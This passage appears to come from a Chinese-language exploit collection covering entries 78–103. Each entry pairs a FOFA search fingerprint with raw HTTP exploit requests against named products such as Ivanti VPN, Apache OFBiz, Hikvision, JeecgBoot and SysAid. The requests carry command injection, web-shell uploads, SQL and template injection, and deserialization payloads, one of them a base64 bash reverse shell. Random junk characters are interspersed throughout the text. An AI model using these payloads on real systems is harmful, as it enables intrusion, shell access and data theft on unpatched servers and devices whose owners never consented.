hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
! u3 _) I. G9 G; _% s) H! r
Submit Query
1 \( x0 W, B9 L& K& Q* v' ^' X$ |------------398jnjVTTlDVXHlE7yYnfwBoix--

7 n9 P4 i2 E- q  |: t* L
  ]/ W9 b0 e% H& l. O0 x78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
2 t0 M% K- p- [* y* ?8 a, jPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
7 K7 V( {1 F7 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* r. |% X: `: R2 q1 k# ]Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
4 ^4 o, m, q$ Y" G% {* q+ u0 P4 M
------YsOxWxSvj1KyZow1PTsh98fdu6l
3 B- n1 ^/ U8 k4 F0 W4 }Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

3 h! K1 f% }4 e0 |4 u0 r! FYsOxWxSvj1KyZow1PTsh98fdu6l
: I! @% c- B' ]9 o5 ~------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

+ l' Z( T( e6 O* a2 o/Applications/SkillDevelopAndEHS/
9 C* @. N5 z  S6 A1 G, W1 g1 ~! }------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
; k% H" m8 w) k" j& \Host: x.x.x.x


7 e' d% y0 N$ c* }; k/ t% u6 ]& {79. BYTEVALUE 百为流控路由器远程命令执行
: b( ~# Y4 N3 G. n. }" _- oFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
9 q7 X! b% I' Z! }6 QHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
% u: v+ Y# e! f0 b0 {* X5 y) G; @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 i# Q2 `) c+ p" v4 K; R3 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 K& r$ v/ N, X* c0 iAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
9 u0 e6 {3 z4 t% [) ?, a2 r- T

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
( ?5 k" F0 L8 Q- K+ [$ A# EFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
( ^/ I+ S" }* `7 y4 l% C: @4 NHost: x.x.x.x
0 X1 ~# K& F! _- }! x, C& X$ xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
( |& U) j+ I6 O8 U: v+ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  E# R6 g: W4 r) FAccept-Encoding: gzip, deflate
4 f4 x$ u; i9 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  U9 i# K8 V2 a# @: UConnection: close
; U+ L; I7 S' \: O; C( y5 r2 i7 D9 fContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
' z) t6 ~- t7 m- D/ k) H
7 P2 b6 |( G  [! B7 `( @8 o<% out.print("oessqeonylzaf");%>
! G+ l' V4 o7 c& u1 Y: U
; h3 r6 I7 f" ?* [& x! d
. `) v0 Z6 Q& r9 K# G; ^: l1 UGET /xykqmfxpoas.jsp HTTP/1.1
; T( S  S  e3 H0 ]* UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( H/ R/ a: p( r9 K6 {% j7 O" NConnection: close
Accept-Encoding: gzip
6 t2 V9 L0 N8 t" m- w

/ a& u$ i0 \5 W# m4 |* |81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 N$ @+ I" x+ aConnection: close
Accept-Encoding: gzip
* U4 t3 M5 M. H+ v# h. h* F/ O6 H+ r

8 q/ ]3 ?5 R0 ^, Y/ q3 `. A" |82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
% X5 U, y6 p; c$ P+ oFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
4 r  _9 S0 u% i1 L" p' NHost: BaseURL
User-Agent: Go-http-client/1.1
0 X0 D3 k2 Q) D/ J$ \9 @Content-Length: 23
& V0 {! ^+ x4 b+ JAccept-Encoding: gzip
Connection: close
0 j  V1 b  @( |2 r: IContent-Type: application/x-www-form-urlencoded
& Q1 J7 t+ z" y: R! QReferer: BaseURL
' q& D* {# o# s2 i4 X/ _7 I
z1=1&z2="|id;"&z3=bhost
. v" N  m! E' D# j

83. JeecgBoot testConnection 远程命令执行
/ Y$ u/ }  M- R- aFOFA：title=="JeecgBoot 企业级低代码平台"


% a; U5 m1 X& [% s1 xPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
1 n. p; L) C9 F7 N+ ^! I  G0 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* E/ \9 {4 U$ L3 EConnection: close
Content-Length: 8881
* H/ }' I  Q/ aAccept-Encoding: gzip
' D! m# v( o9 \6 c( O% [Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
' t# G' b/ X2 X; nContent-Type: application/json

PAYLOAD

% G0 r2 g  u- x) A, N* l6 D84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
$ S6 [* z6 A, B5 C& \$ P
5 c( H! r" g* J: i+ B
7 o/ i& @( `+ A7 [
9 l) @8 d( v' BPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
2 P! a3 H! v$ h0 LHost: 192.168.40.130:8080
0 `3 R3 a" t" L: _% g! W" W0 |8 {User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
7 I! Y# L! |6 MConnection: close
: k& ]" ]  f' y) lContent-Type: application/json
5 i. B( ?4 A$ Z# ]( K3 s( pAccept-Encoding: gzip
% a) U( T* {5 L0 k2 }& `- Y7 v3 }
8 s' e" W* I4 [5 H& C{
7 J. u( T: `  I  N) } "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
. z/ c8 \2 m# e: i- q" L  "type": "0"
}
* t+ M# Y# p7 s

0 h8 P5 S* x8 ]% R+ J85. SysAid On-premise< 23.3.36远程代码执行
0 Z7 K' z: d' U/ y2 z! g1 G0 iCVE-2023-47246
& _' w4 @4 C6 s, I' NFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
% I9 Z$ s3 C' l8 o* B( ]Accept-Encoding: gzip
0 l7 T7 ~) ^7 E0 _' L" }
PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
/ h3 W0 w* T9 A8 p
86. 日本tosei自助洗衣机RCE
) w& [- O$ U- w  I/ R3 HFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
& x: f3 D! N- H  [' g) _5 A! R. e2 NUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
; D5 Z( e  a. [4 w" |# z  kConnection: close
' H' Q  A( s2 A/ _Content-Length: 44
* h0 K  @, g6 Y& TAccept: */*
Accept-Encoding: gzip
: e* U4 U7 \, c1 A* OAccept-Language: en
3 c, z( ]* N: E( {* G+ l, q4 _Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

0 y# u( e' J/ d! B/ C) {
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
: C+ [0 h: V- L% W: zHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 T, z  [, i6 v: fConnection: close
Content-Length: 198
Accept-Encoding: gzip
8 g4 D/ F$ Q1 c. J) @* V+ SContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
/ F. _8 M8 l( X% ^5 I* \Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

' L: i/ i! x, r& r' M' b: W- v, a2ZqGNnsjzzU2GBBPyd8AIA7QlDq
9 I4 r3 ?6 Z! f+ z- k& ~2 [+ L--qqobiandqgawlxodfiisporjwravxtvd--

. k" U" B* R- W
/jfhatuwe.php
$ q6 `1 N* v3 x- `& H6 A
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
# k+ j4 P. u2 A8 d7 b; A3 kHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) u& D5 I* i4 M" x9 X/ kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


/astdfkhl.php

% W6 |2 ~5 _# x$ j9 T89. 致远互联FE协作办公平台editflow_manager存在sql注入
2 [! M; z  Y: W, U' ?6 R; K" EFOFA：title="FE协作办公平台" || body="li_plugins_download"
. t/ V0 [- d% S) b' G7 PPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% M8 T8 l3 L* B/ PConnection: close
Content-Length: 41
+ p$ u0 J) t8 z' ], j" J( b  FContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
& T: F4 h# D* I# H  x, M9 u& q- g9 V. ~
7 m1 S9 O, o' |/ v) boption=2&GUID=-1'+union+select+111*222--+

$ h! @9 a  S3 y  p9 s5 ]9 Y8 j! j
3 X& f, V2 c$ ~3 ?0 h90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
3 V. p( z* i& u( J; I, j6 gFOFA：icon_hash="-1830859634"
. C2 G7 {8 X. \4 V, d  ?$ i1 u" _POST /php/ping.php HTTP/1.1
Host: x.x.x.x
( e8 m5 T# l5 j/ k! ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
8 y$ e! L; U3 u4 c3 E# g6 w) qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% ?9 L. ?! m( x1 V3 e- I5 j' j0 dConnection: close
5 H1 m( f/ ~5 H8 l4 |Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
$ L9 f+ p" }6 O, kGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
4 o5 ~4 |$ ^% S% ]9 f0 ^  E0 r' aHost: your-ip
4 a9 A% B( ~4 w& x& n8 c- pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
' p) k0 h8 u% r5 l) y+ I/ ?
# g! `) e6 }/ I/ p# z

( ^0 Q& [$ h: j8 D92. 海康威视运行管理中心session命令执行
6 u3 f. R0 Y3 D; ~4 l! O- r, u) g: U1 XFastjson命令执行
) y( b& J. l* w6 b0 F; |hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
: P  H# g: U3 \Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
7 B5 S/ e9 ]- ?" g. q9 s$ T+ PContent-Type: application/json;charset=UTF-8
8 t" O6 [: z/ C  e% y1 C% n& xX-Language-Type: zh_CN
Testcmd: echo test
0 \6 G4 Y' r7 R7 I; e4 n8 W" VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
3 p% \5 h+ a" q0 {1 z; k  t7 tAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
, i6 O3 h# z. M3 y2 n
! ]& F  q9 X# L" K3 _: EPAYLOAD
* y1 f: y+ c( R. O! A8 H/ m
* f" t, Q* v5 C
3 M6 r1 d+ I3 ?( X, y( O93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
% L" j; B- @0 k( ^8 C8 v% i; ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
) e$ g9 \- \  ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

6 }4 u$ y$ g& R. k* p3 R0 Z------WebKitFormBoundarykcbkgdfx
- Y5 h7 A9 {3 {: `: r0 NContent-Disposition: form-data; name="MAX_FILE_SIZE"
; n8 |3 X; @  T  s  l
- \2 l, `* o; b2 k10000000
' c3 h: J) F& A, s2 H* X------WebKitFormBoundarykcbkgdfx
. p) U+ ]  h- _7 DContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
; R1 q. U9 w8 q! S' rContent-Type: text/plain

$ Y) y( s' i; U, K/ dwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
3 q: B# q8 M- U+ y. ]4 ~5 Y& N9 FContent-Disposition: form-data; name="submit_post"
' H3 S! r! O; Z% Z3 A
obj_app_upfile
" k5 O5 Z1 B" y3 P2 V& v" E( C------WebKitFormBoundarykcbkgdfx
* U3 X2 B% F0 \9 ]Content-Disposition: form-data; name="__hash__"
% |+ d0 T7 |& H  `3 W
0b9d6b1ab7479ab69d9f71b05e0e9445
# s( p' b. b; `( k------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
5 O3 s# J# u1 n+ k7 d, u7 ]Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 d9 d5 s5 |" u3 O

& A" ~% L/ N: K8 N- E; Z; C# w94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
2 w; z- ^. x7 wFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
! B$ X' P: a6 Q1 ?4 PHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ ]7 X& s( R9 N6 E" W: Y4 ?1 i
' i1 v) F: F& b( V4 i' v& r------WebKitFormBoundarybqvzqvmt
1 J9 X# \7 P4 e7 S5 ^' yContent-Disposition: form-data; name="MAX_FILE_SIZE"

- n& Z" U6 a9 {4 ~, o+ @10000000
' W& Y) o( h1 c- V9 B7 R! E4 ^- u------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
! ]. b% w5 e0 [) W4 dContent-Type: text/plain
' S" h0 b( y! O0 l+ Q
  C3 c# M6 F/ `pxplitttsrjnyoafavcajwkvhxindhmu
) b& l0 g1 M3 x6 x* m7 h+ _------WebKitFormBoundarybqvzqvmt
- O  Y( X/ n* T9 x  nContent-Disposition: form-data; name="submit_post"

8 W( r; ^0 ?6 ^% G8 s2 j. R) L5 fobj_app_upfile
7 v# l, }+ `* c. h/ B4 q2 U------WebKitFormBoundarybqvzqvmt
9 d2 }4 W1 j6 T) K% vContent-Disposition: form-data; name="__hash__"

& e; Y# s$ k! w; d, w  f) A0b9d6b1ab7479ab69d9f71b05e0e9445
$ ~- [$ x# H. Q$ e5 ~------WebKitFormBoundarybqvzqvmt--
0 |) H) @$ G$ ^$ m; E' Q7 `
6 P% ?- ]% t, ?, @/ g/ E1 k$ h
) l; `3 o% v7 r7 Y! x' @$ w; ?: c2 e
/ a) u0 e. L& B/ Y; B/ g- v( hGET /attachements/xlskxknxa.txt HTTP/1.1
( b+ E; u; [, Y+ B) `Host: xx.xx.xx.xx
5 I+ Q5 p; |; E: l) t+ L" E! g# S. ]- n: WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
1 u" F# n' M8 W/ @
* c2 @7 K6 p( I
! w, b3 B  a* P3 m5 t5 S& [
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" l& \3 Z* L) b2 M: m: u  T! q: [CVE-2023-49070
( A" ], Z# @: |2 O. r* sFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
, M- J# n* f. ?$ VContent-Type: application/xml
- n" i  W/ Z+ |" b- |7 SAccept-Encoding: gzip

6 o( M: A6 V& c2 M+ @* ^2 }<?xml version="1.0"?>
& @0 u2 ^7 ?6 n- J6 v3 l" Q3 E<methodCall>
$ m) F$ M( z3 x4 N2 V6 u- u+ b   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
& d7 d6 b9 N' n; ]* z# G; N9 L' d) w      <param>
0 e# `* t% S, q  }6 @0 y' N      <value>
        <struct>
9 U$ F* y# j/ Y# b* }       <member>
          <name>test</name>
0 q# f! B- o; f: }8 r- h          <value>
7 L: H) I, T  q* _( x5 h) P; j      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
- i( q. q$ r( ^0 b# t% N: j        </member>
. C' H' q3 L. r      </struct>
      </value>
$ w8 y) J" {/ }4 C1 K    </param>
    </params>
</methodCall>
( K- X# r  Q$ M: u
; C  a- |" }8 E( g9 B. B$ Z" r) H
, z6 O" B7 c/ [用ysoserial生成payload
- ?5 q3 o  W" q1 n! V! W' x! ?java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
! `& r% U: k  e/ f& b
7 D$ D# L8 O$ y5 I
7 L0 d6 b; g& b) i; }% i将生成的payload替换到上面的POC
8 S8 X: _7 J. w8 k  y5 r9 M/ e5 P8 nPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
% l- J" o" n8 W  OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 @4 C8 f# E3 P7 o" PConnection: close
Content-Length: 889
3 t) U! G7 D/ {6 Z* h% NContent-Type: application/xml
2 n$ z) x: d$ W; k; @& U5 GAccept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
" f) \7 |, w' P! S# E6 K/ p( LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
2 P* @) E4 w5 q( O! DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

6 Z( `; O1 |" t* N, ?groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777
' C! @' k- {3 `1 k/ `* H
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 l+ X" _& [/ O6 h" G1 ]Accept: */*
; \( b) |8 d, F5 v0 O: o8 Y& F$ iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 A/ @' o* J4 R6 JContent-Type: application/x-www-form-urlencoded
( v0 _* S. c  J* AContent-Length: 71

& X9 x& A! q. l* \) |& o" \groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
; {9 n9 s- ^* e1 c
; |* V5 E1 j; O, g% f/ M# }97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
" C5 W9 a4 h, J# x% E# IFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
+ t4 U8 _! `2 P) _* P2 E
7 ]& V, \  n2 O+ W) a
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
5 Z- o9 s# s! H( U( dHost: 192.168.40.130:8088
4 G" e- M0 q* Z9 x$ |2 D# ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* n0 D1 p. f  [/ h5 n" y7 U6 dConnection: close
Content-Length: 121
" z/ b, h' c/ P) m8 yAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ E& Z  `: o' p& ^1 MContent-Type: application/x-www-form-urlencoded; charset=UTF-8
+ X) ^, c) s! x( w  s% W& fX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

0 U( ?4 d# K; _6 Y1 [. n
99. Ncast盈可视高清智能录播系统busiFacade RCE
  ?: H& b& x' v5 k$ b9 H4 Z! CCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
; }+ j( W) B& g8 \( j; IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
& p  Z/ o3 ~  l4 ]+ d* n  xX-Requested-With: XMLHttpRequest

2 b! `( A9 A8 S( M5 R  x$ _%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

/ o( H" r8 ^$ G6 G. F5 y
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
4 s; e% e& s" p, M5 T  Y0 u1 q* LFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
1 m& S( [/ O: ]9 x  ?5 wContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
  _! d! Y$ d, d: W0 ?- B( b7 m
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
) w& S6 s3 |' W, [* w* L: H3 ]
2ayyhRXiAsKXL8olvF5s4qqyI2O
7 r1 U1 H, c% z0 j' w0 z' G8 n8 Q4 p------WebKitFormBoundarygcflwtei--
- B2 C5 n! o% x. B. S- _! K, q

101. ivanti policy secure-22.6命令注入
CVE-2024-21887
# {5 P% |, q! GFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
1 H' k, T. ~3 I' YUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
; E: W: K8 d. s: x5 GAccept-Encoding: gzip
" v' \* Z) h# e4 A

& r9 S7 q) v* C. I102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
2 b7 \2 A. e$ a, i8 j7 O& f. A9 lCVE-2024-21893
7 O# Y/ R, Y' z9 q9 BFOFA：body="welcome.cgi?p=logo"
3 U/ m2 }' q4 q7 |. E+ o  xPOST /dana-ws/saml20.ws HTTP/1.1
; G% ?/ Q+ \0 G. @: d7 N, dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 o$ y' ~* `6 w, E( aConnection: close
- O6 R$ d$ _- ~0 S& ^! RContent-Length: 792
Accept-Encoding: gzip
- N0 v. k( w9 j( y$ ]+ a
; J0 c, |2 [" [; y2 c2 D0 }+ `<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
% m8 |- Z$ B2 V; C/ p& s( f
; A' ~0 ^2 d% _3 @2 P" k/ H( E103. Ivanti Pulse Connect Secure VPN XXE
- E$ S: V4 ]' I- I! rCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
